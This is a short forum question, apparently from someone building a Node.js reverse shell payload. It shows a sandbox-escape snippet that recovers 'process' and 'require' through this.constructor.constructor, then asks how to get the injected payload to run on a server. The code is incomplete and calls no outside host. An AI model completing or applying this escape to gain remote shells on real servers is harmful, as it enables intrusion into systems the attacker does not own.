Nodejs Require is not defined while using reverse shell

If require is not available, to obtain the require by:

process = this.constructor.constructor(‘return (function(){return process})()’)();
var require = process.mainModule.require;

used

shell = ‘process = this.constructor.constructor(‘return (function(){return process})()’)();’

shell += ‘var require = process.mainModule.require;’

Errors: process is not defined
if we add const before process
Errors: mainModule is not defined

How do we import process without Require , and how do we process the code to server